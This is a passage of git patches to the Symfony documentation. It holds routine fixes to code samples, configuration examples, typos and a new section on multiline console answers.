diff --git a/service_container.rst b/service_container.rst
index 67195adeb3b..c78af339afb 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -159,7 +159,7 @@ each time you ask for it.
                 # this creates a service per class whose id is the fully-qualified class name
                 App\:
                     resource: '../src/*'
-                    exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
+                    exclude: '../src/{DependencyInjection,Entity,Tests,Kernel.php}'
 
                 # ...
 
@@ -178,7 +178,7 @@ each time you ask for it.
 
                     <!-- makes classes in src/ available to be used as services -->
                     <!-- this creates a service per class whose id is the fully-qualified class name -->
-                    <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
+                    <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Tests,Kernel.php}"/>
 
                     <!-- ... -->
 
@@ -201,7 +201,7 @@ each time you ask for it.
                 // makes classes in src/ available to be used as services
                 // this creates a service per class whose id is the fully-qualified class name
                 $services->load('App\\', '../src/*')
-                    ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+                    ->exclude('../src/{DependencyInjection,Entity,Tests,Kernel.php}');
             };
 
     .. tip::
@@ -408,7 +408,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
             # same as before
             App\:
                 resource: '../src/*'
-                exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
+                exclude: '../src/{DependencyInjection,Entity,Tests,Kernel.php}'
 
             # explicitly configure the service
             App\Updates\SiteUpdateManager:
@@ -431,7 +431,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
                 <prototype namespace="App\"
                     resource="../src/*"
-                    exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"
+                    exclude="../src/{DependencyInjection,Entity,Tests,Kernel.php}"
                 />
 
                 <!-- Explicitly configure the service -->
@@ -453,7 +453,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
             // same as before
             $services->load('App\\', '../src/*')
-                ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+                ->exclude('../src/{DependencyInjection,Entity,Tests,Kernel.php}');
 
             $services->set(SiteUpdateManager::class)
                 ->arg('$adminEmail', 'manager@example.com')
@@ -929,7 +929,7 @@ key. For example, the default Symfony configuration contains this:
             # this creates a service per class whose id is the fully-qualified class name
             App\:
                 resource: '../src/*'
-                exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
+                exclude: '../src/{DependencyInjection,Entity,Tests,Kernel.php}'
 
     .. code-block:: xml
 
@@ -943,7 +943,7 @@ key. For example, the default Symfony configuration contains this:
             <services>
                 <!-- ... same as before -->
 
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
+                <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Tests,Kernel.php}"/>
             </services>
         </container>
 
@@ -958,7 +958,7 @@ key. For example, the default Symfony configuration contains this:
             // makes classes in src/ available to be used as services
             // this creates a service per class whose id is the fully-qualified class name
             $services->load('App\\', '../src/*')
-                ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+                ->exclude('../src/{DependencyInjection,Entity,Tests,Kernel.php}');
         };
 
 .. tip::

From 3402fc84428bb82cc3e19a6da19fc28064920fce Mon Sep 17 00:00:00 2001
From: Simon Van Accoleyen <simon@vanacco.fr>
Date: Fri, 17 Jul 2020 14:10:18 +0200
Subject: [PATCH 0985/7107] Update workflow.rst

Quick typo fix from recommenced to recommended
---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 621516a1eb9..825629464e4 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -175,7 +175,7 @@ As configured, the following property is used by the marking store::
     The ``marking_store.type`` (the default value depends on the ``type`` value)
     and ``arguments`` (default value ``['marking']``) attributes of the
     ``marking_store`` option are optional. If omitted, their default values will
-    be used. It's highly recommenced to use the default value.
+    be used. It's highly recommended to use the default value.
 
 .. tip::
 

From 8e132bd070c0122db4cdd7d17877226c96a1871f Mon Sep 17 00:00:00 2001
From: Sadiqul Islam <sadikultra@gmail.com>
Date: Sun, 19 Jul 2020 01:33:34 +0600
Subject: [PATCH 0986/7107] Added: Missing comment on XML and PHP code-block

---
 service_container/service_decoration.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index c9de48976d9..7dd497e1758 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -84,10 +84,14 @@ but keeps a reference of the old one as ``App\DecoratingMailer.inner``:
             <services>
                 <service id="AppBundle\Mailer"/>
 
+                <!-- overrides the AppBundle\Mailer service
+                     but that service is still available as AppBundle\DecoratingMailer.inner
+                     private, because usually you do not need to fetch AppBundle\DecoratingMailer directly -->
                 <service id="AppBundle\DecoratingMailer"
                     decorates="AppBundle\Mailer"
                     public="false"
                 >
+                    <!-- pass the old service as an argument -->
                     <argument type="service" id="AppBundle\DecoratingMailer.inner"/>
                 </service>
 
@@ -103,9 +107,13 @@ but keeps a reference of the old one as ``App\DecoratingMailer.inner``:
 
         $container->register(Mailer::class);
 
+        // overrides the AppBundle\Mailer service
+        // but that service is still available as AppBundle\DecoratingMailer.inner
         $container->register(DecoratingMailer::class)
             ->setDecoratedService(Mailer::class)
+            // pass the old service as an argument
             ->addArgument(new Reference(DecoratingMailer::class.'.inner'))
+            // private, because usually you do not need to fetch AppBundle\DecoratingMailer directly
             ->setPublic(false)
         ;
 

From dfaa5f2e9c32bb50190efd7745c35991ec4dc657 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Thu, 23 Jul 2020 15:56:23 +0200
Subject: [PATCH 0987/7107] [Validator] Made the code sample more explicit with
 accepted values

---
 reference/constraints/Collection.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index a296f68dc3e..80c87801356 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -207,7 +207,7 @@ you can do the following:
              *     }
              * )
              */
-            protected $profileData = ['personal_email'];
+            protected $profileData = ['personal_email' => 'email@example.com'];
         }
 
     .. code-block:: yaml

From cfea6313e38d34475d76adb926799c114957e124 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andr=C3=A1s=20Debreczeni?= <github@debreczeniandras.hu>
Date: Thu, 23 Jul 2020 16:29:42 +0200
Subject: [PATCH 0988/7107] Fix Typo

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index e3feb5a873b..427ca49d8de 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -81,7 +81,7 @@ automatically when type-hinting for :class:`Symfony\\Component\\HttpClient\\Http
 
 .. tip::
 
-    The HTTP client is interopable with many common HTTP client abstractions in
+    The HTTP client is interoperable with many common HTTP client abstractions in
     PHP. You can also use any of these abstractions to profit from autowirings.
     See `Interoperability`_ for more information.
 

From e55312473da5d6ff3452d9c9d54fff1293b344d5 Mon Sep 17 00:00:00 2001
From: Gary Houbre <gary.houbre@gmail.com>
Date: Fri, 24 Jul 2020 14:30:12 +0200
Subject: [PATCH 0989/7107] Add namespace into service_container.rst file

---
 service_container.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 7c4ae87b117..d918f590f7f 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -331,7 +331,8 @@ Now, this new service is ready to be used. In a controller, for example,
 you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     // src/Controller/SiteController.php
-
+    namespace App\Controller;
+    
     // ...
     use App\Updates\SiteUpdateManager;
 

From 8f3ff016f0fddf8588b6e82afaa73fbd84cdc518 Mon Sep 17 00:00:00 2001
From: okazy <hideki518c@gmail.com>
Date: Sun, 19 Jul 2020 20:44:28 +0900
Subject: [PATCH 0990/7107] Fixed the quick tour sample code to work just by
 copy and paste.

---
 quick_tour/flex_recipes.rst     | 3 +++
 quick_tour/the_architecture.rst | 5 +++++
 quick_tour/the_big_picture.rst  | 4 ++++
 3 files changed, 12 insertions(+)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index da43fe0ee3b..435b4f07351 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -75,6 +75,7 @@ Thanks to Flex, after one command, you can start using Twig immediately:
 
 .. code-block:: diff
 
+    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -153,6 +154,7 @@ Rich API Support
 
 Are you building an API? You can already return JSON from any controller::
 
+    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -189,6 +191,7 @@ But like usual, we can immediately start using the new library. Want to create a
 rich API for a ``product`` table? Create a ``Product`` entity and give it the
 ``@ApiResource()`` annotation::
 
+    <?php
     // src/Entity/Product.php
     namespace App\Entity;
 
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 19d77648f7d..69883859d53 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -21,6 +21,7 @@ Want a logging system? No problem:
 This installs and configures (via a recipe) the powerful `Monolog`_ library. To
 use the logger in a controller, add a new argument type-hinted with ``LoggerInterface``::
 
+    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -89,6 +90,7 @@ To keep your code organized, you can even create your own services! Suppose you
 want to generate a random greeting (e.g. "Hello", "Yo", etc). Instead of putting
 this code directly in your controller, create a new class::
 
+    <?php
     // src/GreetingGenerator.php
     namespace App;
 
@@ -105,6 +107,7 @@ this code directly in your controller, create a new class::
 
 Great! You can use this immediately in your controller::
 
+    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -135,6 +138,7 @@ difference is that it's done in the constructor:
 
 .. code-block:: diff
 
+    <?php
     // src/GreetingGenerator.php
     + use Psr\Log\LoggerInterface;
 
@@ -167,6 +171,7 @@ by creating an event subscriber or a security voter for complex authorization
 rules. Let's add a new filter to Twig called ``greet``. How? Create a class
 that extends ``AbstractExtension``::
 
+    <?php
     // src/Twig/GreetExtension.php
     namespace App\Twig;
 
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 7ec7f08ac51..4fae7ef5991 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -80,6 +80,7 @@ doesn't exist yet, so let's create it!
 In ``src/Controller``, create a new ``DefaultController`` class and an ``index``
 method inside::
 
+    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -115,6 +116,7 @@ like a wildcard that matches anything. And it gets better! Update the controller
 
 .. code-block:: diff
 
+    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -153,6 +155,7 @@ Instead, add the route *right above* the controller method:
 
 .. code-block:: diff
 
+    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -173,6 +176,7 @@ This works just like before! But by using annotations, the route and controller
 live right next to each other. Need another page? Add another route and method
 in ``DefaultController``::
 
+    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 

From 6a539f68eb8fc3b91dc9ccc016f536f611c44867 Mon Sep 17 00:00:00 2001
From: Iliya Miroslavov Iliev <i.miroslavov@gmail.com>
Date: Tue, 21 Jul 2020 11:10:22 +0300
Subject: [PATCH 0991/7107] Update OVH Cloud configuration

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ebc46605a22..c1b6ebfabe5 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ Service     Package                          DSN
 ==========  ===============================  ====================================================
 Twilio      ``symfony/twilio-notifier``      ``twilio://SID:TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``       ``nexmo://KEY:SECRET@default?from=FROM``
-OvhCloud    ``symfony/ovhcloud-notifier``    ``ovhcloud://KEY:SECRET@default?from=FROM``
+OvhCloud    ``symfony/ovhcloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sinch       ``symfony/sinch-notifier``       ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 FreeMobile  ``symfony/freemobile-notifier``  ``freemobile://LOGIN:PASS@default?phone=PHONE``
 ==========  ===============================  ====================================================

From ae0b34e90e7893bfb96c91481c18c35fccec2e6f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tam=C3=A1s=20Moln=C3=A1r?= <moltam@gmail.com>
Date: Tue, 28 Jul 2020 09:11:30 +0200
Subject: [PATCH 0992/7107] [String] Fix missing locale in slugger substitution
 map

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index 2d5d1dd8e9e..7d2ec49a198 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -469,7 +469,7 @@ that only includes safe ASCII characters::
     // $slug = 'Workspace-settings'
 
     // you can also pass an array with additional character substitutions
-    $slugger = new AsciiSlugger('en', ['%' => 'percent', '€' => 'euro']);
+    $slugger = new AsciiSlugger('en', ['en' => ['%' => 'percent', '€' => 'euro']]);
     $slug = $slugger->slug('10% or 5€');
     // $slug = '10-percent-or-5-euro'
 

From a1ce6020bc31ce49cb5b0c6b15a451be755bda3d Mon Sep 17 00:00:00 2001
From: fliespl <a.rzadkowolski@gmail.com>
Date: Tue, 28 Jul 2020 13:05:34 +0200
Subject: [PATCH 0993/7107] verify_peer in dsn should be 0

Setting it to false value resolves to true in php 7.4 since false is taken as string.
---
 components/mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/mailer.rst b/components/mailer.rst
index 1f004e90bc6..7e2dd89e798 100644
--- a/components/mailer.rst
+++ b/components/mailer.rst
@@ -171,7 +171,7 @@ configurable with the ``verify_peer`` option. Although it's not recommended to
 disable this verification for security reasons, it can be useful while developing
 the application or when using a self-signed certificate::
 
-    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=false'
+    $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0'
 
 .. versionadded:: 5.1
 

From 8b788f3eb2badb71984aa4c39abf1bc4970faa5b Mon Sep 17 00:00:00 2001
From: nicofrand <mail@nicofrand.eu>
Date: Fri, 31 Jul 2020 18:32:01 +0200
Subject: [PATCH 0994/7107] Fix HttpClientInterface path in HttpClient
 documentation

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 427ca49d8de..4932e7d5106 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -26,13 +26,13 @@ Basic Usage
 Use the :class:`Symfony\\Component\\HttpClient\\HttpClient` class to make
 requests. In the Symfony framework, this class is available as the
 ``http_client`` service. This service will be :doc:`autowired </service_container/autowiring>`
-automatically when type-hinting for :class:`Symfony\\Component\\HttpClient\\HttpClientInterface`:
+automatically when type-hinting for :class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`:
 
 .. configuration-block::
 
     .. code-block:: php-symfony
 
-        use Symfony\Component\HttpClient\HttpClientInterface;
+        use Symfony\Contracts\HttpClient\HttpClientInterface;
 
         class SymfonyDocs
         {

From 4ea23f77a4353a57d7dd9a7e308eee4db7dff692 Mon Sep 17 00:00:00 2001
From: Andrius <andrius.ulins@gmail.com>
Date: Mon, 3 Aug 2020 00:56:30 +0300
Subject: [PATCH 0995/7107] Update performance.rst

Correct path for opcache.preload in symfony cache dir.
---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index b919f6a3906..7d4ea2e5fb9 100644
--- a/performance.rst
+++ b/performance.rst
@@ -120,7 +120,7 @@ The preload file path is the same as the compiled service container but with the
 .. code-block:: ini
 
     ; php.ini
-    opcache.preload=/path/to/project/var/cache/prod/srcApp_KernelProdContainer.preload.php
+    opcache.preload=/path/to/project/var/cache/prod/App_KernelProdContainer.preload.php
 
 Use the :ref:`container.preload <dic-tags-container-preload>` and
 :ref:`container.no_preload <dic-tags-container-nopreload>` service tags to define

From 35c288ca8f0131881a2a045616c3bafbcc2387dc Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Mon, 3 Aug 2020 10:30:34 +0200
Subject: [PATCH 0996/7107] [#13980] add annotation config example

---
 translation/locale.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/translation/locale.rst b/translation/locale.rst
index 550266771d3..3b98ff2825a 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -64,6 +64,28 @@ by the routing system using the special ``_locale`` parameter:
 
 .. configuration-block::
 
+    .. code-block:: php-annotations
+
+        // src/AppBundle/Controller/ContactController.php
+        namespace AppBundle\Controller;
+
+        // ...
+        class ContactController extends AbstractController
+        {
+            /**
+             * @Route(
+             *     "/{_locale}/contact",
+             *     name="contact",
+             *     requirements={
+             *         "_locale": "en|fr|de",
+             *     }
+             * )
+             */
+            public function contact()
+            {
+            }
+        }
+
     .. code-block:: yaml
 
         # app/config/routing.yml

From 89ffeb17ccbffe460ba4c01d220ddb92fa3a2f40 Mon Sep 17 00:00:00 2001
From: SquareInnov <contact@squareinnov.fr>
Date: Sun, 19 Jul 2020 03:07:28 +0200
Subject: [PATCH 0997/7107] ADD Annotations for The Locale and the URL section

---
 translation/locale.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/translation/locale.rst b/translation/locale.rst
index 2dfd7c80b7c..c411221ebc7 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -64,6 +64,27 @@ A better policy is to include the locale in the URL using the
 
 .. configuration-block::
 
+    .. code-block:: php-annotations
+        
+        // src/Controller/ContactController.php
+        namespace App\Controller;
+
+        // ...
+        class ContactController extends AbstractController
+        {
+            /**
+             * @Route(
+             *     "/{_locale}/contact",
+             *     requirements={
+             *         "_locale": "en|fr|de",
+             *     }
+             * )
+             */
+            public function contact()
+            {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml

From 4d526703eb0d15f5cfc729005935ac3b90533940 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Mon, 3 Aug 2020 10:32:31 +0200
Subject: [PATCH 0998/7107] [#13980] add route name

---
 translation/locale.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/translation/locale.rst b/translation/locale.rst
index c411221ebc7..87f973a146a 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -75,6 +75,7 @@ A better policy is to include the locale in the URL using the
             /**
              * @Route(
              *     "/{_locale}/contact",
+             *     name="contact",
              *     requirements={
              *         "_locale": "en|fr|de",
              *     }

From 964fbda98aa30031e18652c3c9844261837b4acb Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 4 Aug 2020 10:59:42 +0200
Subject: [PATCH 0999/7107] Use redirectToRoute

instead of $this->redirect($this->generateUrl('...'))
---
 controller/upload_file.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 372330cc60c..8b16bc7c499 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -170,7 +170,7 @@ Finally, you need to update the code of the controller that handles the form::
 
                 // ... persist the $product variable or any other work
 
-                return $this->redirect($this->generateUrl('app_product_list'));
+                return $this->redirectToRoute('app_product_list');
             }
 
             return $this->render('product/new.html.twig', [

From ff3a2b58b1a81167ed8b771f29466de3542ee141 Mon Sep 17 00:00:00 2001
From: Milan Pavkovic <milan@pavkovic.net>
Date: Wed, 5 Aug 2020 18:30:28 +0200
Subject: [PATCH 1000/7107] Remove reference to non-existing fromBinary method

---
 components/uid.rst | 14 ++------------
 1 file changed, 2 insertions(+), 12 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index f2fcd074533..c8eee0ece94 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -62,15 +62,10 @@ to create each type of UUID::
 If your UUID is generated by another system, use the ``fromString()`` method to
 create an object and make use of the utilities available for Symfony UUIDs::
 
-    // this value is generated somewhere else
+    // this value is generated somewhere else (can also be in binary format)
     $uuidValue = 'd9e7a184-5d5b-11ea-a62a-3499710062d0';
     $uuid = Uuid::fromString($uuidValue);
 
-If your UUIDs are generated in binary format, use the ``fromBinary()`` method
-to create the objects for them::
-
-    $uuid = Uuid::fromBinary($uuidBinaryContents);
-
 Converting UUIDs
 ~~~~~~~~~~~~~~~~
 
@@ -140,15 +135,10 @@ Instantiate the ``Ulid`` class to generate a random ULID value::
 If your ULID is generated by another system, use the ``fromString()`` method to
 create an object and make use of the utilities available for Symfony ULIDs::
 
-    // this value is generated somewhere else
+    // this value is generated somewhere else (can also be in binary format)
     $ulidValue = '01E439TP9XJZ9RPFH3T1PYBCR8';
     $ulid = Ulid::fromString($ulidValue);
 
-If your ULIDs are generated in binary format, use the ``fromBinary()`` method
-to create the objects for them::
-
-    $ulid = Ulid::fromBinary($ulidBinaryContents);
-
 Converting ULIDs
 ~~~~~~~~~~~~~~~~
 

From cff16b0da235ec140d6d4996f7e4970cda10cba7 Mon Sep 17 00:00:00 2001
From: PF4Public <PF4Public@users.noreply.github.com>
Date: Fri, 7 Aug 2020 11:50:41 +0300
Subject: [PATCH 1001/7107] Change char to varchar type

---
 security/remember_me.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 4d5e8429263..c2c9173da0d 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -307,7 +307,7 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
     CREATE TABLE `rememberme_token` (
         `series`   char(88)     UNIQUE PRIMARY KEY NOT NULL,
-        `value`    char(88)     NOT NULL,
+        `value`    varchar(88)  NOT NULL,
         `lastUsed` datetime     NOT NULL,
         `class`    varchar(100) NOT NULL,
         `username` varchar(200) NOT NULL

From d6f8fd83dce5cb5ed477cecc8a013bfceeb76ebf Mon Sep 17 00:00:00 2001
From: Lorenzo <loru88@gmail.com>
Date: Sun, 9 Aug 2020 20:09:25 +0100
Subject: [PATCH 1002/7107] Update chatters.rst

fix to use a working image url
---
 notifier/chatters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 17eac35885f..40e9cea2096 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -77,7 +77,7 @@ some interactive options called `Block elements`_::
             ->text('The Symfony Community')
             ->accessory(
                 new SlackImageBlockElement(
-                    'https://example.com/symfony-logo.png',
+                    'https://symfony.com/favicons/apple-touch-icon.png',
                     'Symfony'
                 )
             )

From 22fd47e952bb51ac30008127a7f59bc361a438c8 Mon Sep 17 00:00:00 2001
From: maxhelias <maximehelias16@gmail.com>
Date: Mon, 10 Aug 2020 11:08:49 +0200
Subject: [PATCH 1003/7107] Fix logout on form login setup

---
 security/form_login_setup.rst | 31 +++++++++++++++++++------------
 1 file changed, 19 insertions(+), 12 deletions(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 7e82ef333a4..1f48401571f 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -99,12 +99,13 @@ Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
         security:
             # ...
 
-            providers:
-                # ...
-                logout:
-                    path: app_logout
-                    # where to redirect after logout
-                    # target: app_any_route
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        path: app_logout
+                        # where to redirect after logout
+                        # target: app_any_route
 
     .. code-block:: xml
 
@@ -117,8 +118,11 @@ Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <config>
-                <rule path="^/login$" role="IS_AUTHENTICATED_ANONYMOUSLY"/>
                 <!-- ... -->
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout path="app_logout"/>
+                </firewall>
             </config>
         </srv:container>
 
@@ -127,12 +131,15 @@ Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
         // config/packages/security.php
         $container->loadFromExtension('security', [
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/login',
-                    'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY',
+            'firewalls' => [
+                'main' => [
+                    // ...
+                    'logout' => [
+                        'path' => 'app_logout',
+                        // where to redirect after logout
+                        'target' => 'app_any_route'
+                    ],
                 ],
-                // ...
             ],
         ]);
 

From b92adf679b1f2630bd07d7f03bed92d34523a35f Mon Sep 17 00:00:00 2001
From: Ivan Yivoff <yivi@users.noreply.github.com>
Date: Tue, 11 Aug 2020 15:47:15 +0200
Subject: [PATCH 1004/7107] Update event_dispatcher.rst

Update code example to match 5.1 PHP configuration format.
---
 event_dispatcher.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 8bef74f26d9..15742afce71 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -101,8 +101,10 @@ using a special "tag":
 
         // config/services.php
         use App\EventListener\ExceptionListener;
+        
+        $services = $containerConfigurator->services();
 
-        $container->register(ExceptionListener::class)
+        $services->set(ExceptionListener::class)
             ->addTag('kernel.event_listener', ['event' => 'kernel.exception'])
         ;
 

From e82b66b787a929d2c2898efc98aa7bb18ff7c77b Mon Sep 17 00:00:00 2001
From: Ben Ramsey <ben@benramsey.com>
Date: Mon, 27 Jul 2020 19:32:49 -0500
Subject: [PATCH 1005/7107] [Console] allow multiline responses to console
 questions

---
 components/console/helpers/questionhelper.rst | 30 +++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index e2c5898fa49..89716c8d078 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -234,6 +234,36 @@ You can also specify if you want to not trim the answer by setting it directly w
         $name = $helper->ask($input, $output, $question);
     }
 
+Accept Multiline Answers
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``setMultiline()`` and ``isMultiline()`` methods were introduced in
+    Symfony 5.2.
+
+By default, the question helper stops reading user input when it receives a newline
+character (i.e., when the user hits ``ENTER`` once). However, you may specify that
+the response to a question should allow multiline answers by passing ``true`` to
+:method:`Symfony\\Component\\Console\\Question\\Question::setMultiline`::
+
+    use Symfony\Component\Console\Question\Question;
+
+    // ...
+    public function execute(InputInterface $input, OutputInterface $output)
+    {
+        // ...
+        $helper = $this->getHelper('question');
+
+        $question = new Question('How do you solve world peace?');
+        $question->setMultiline(true);
+
+        $answer = $helper->ask($input, $output, $question);
+    }
+
+Multiline questions stop reading user input after receiving an end-of-transmission
+control character (``Ctrl-D`` on Unix systems or ``Ctrl-Z`` on Windows).
+
 Hiding the User's Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 605e9888ff1481b765363895f0a617d8f9e955b4 Mon Sep 17 00:00:00 2001
From: fernandokarpinski <31803120+fernandokarpinski@users.noreply.github.com>
Date: Tue, 11 Aug 2020 23:41:59 -0300
Subject: [PATCH 1006/7107] Update routing.rst

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index b2e252d87b5..0b675a67a60 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1881,7 +1881,7 @@ Now, if the session is used, the application will report it based on your
 * ``enabled``: will throw an :class:`Symfony\\Component\\HttpKernel\\Exception\\UnexpectedSessionUsageException` exception
 * ``disabled``: will log a warning
 
-It well help you understanding and hopefully fixing unexpected behavior in your application.
+It will help you in understanding and hopefully fixing unexpected behavior in your application.
 
 .. _routing-generating-urls:
 

From a4aa3448830cce8e651768fd414dd4f3d3b59945 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 14 Aug 2020 09:32:31 +0200
Subject: [PATCH 1007/7107] Improve doc about log channel and env

---
 logging/channels_handlers.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 76f671e8ed3..04d41a8d3c2 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -25,7 +25,9 @@ Switching a Channel to a different Handler
 
 Now, suppose you want to log the ``security`` channel to a different file.
 To do this, create a new handler and configure it to log only messages
-from the ``security`` channel:
+from the ``security`` channel.
+You might add this in `config/packages/monolog.yaml` to log in all environments,
+or just `config/packages/prod/monolog.yaml` to happen only in prod:
 
 .. configuration-block::
 

From cf8cba00ed891a67db953da08a932023e67765cc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Aug 2020 15:17:15 +0200
Subject: [PATCH 1008/7107] [Translation] The 'other' key is mandatory in ICU
 'select'

---
 translation/message_format.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index 5d1a5b63eec..4ec520682ef 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -100,6 +100,8 @@ typical usage of this is gender:
     .. code-block:: yaml
 
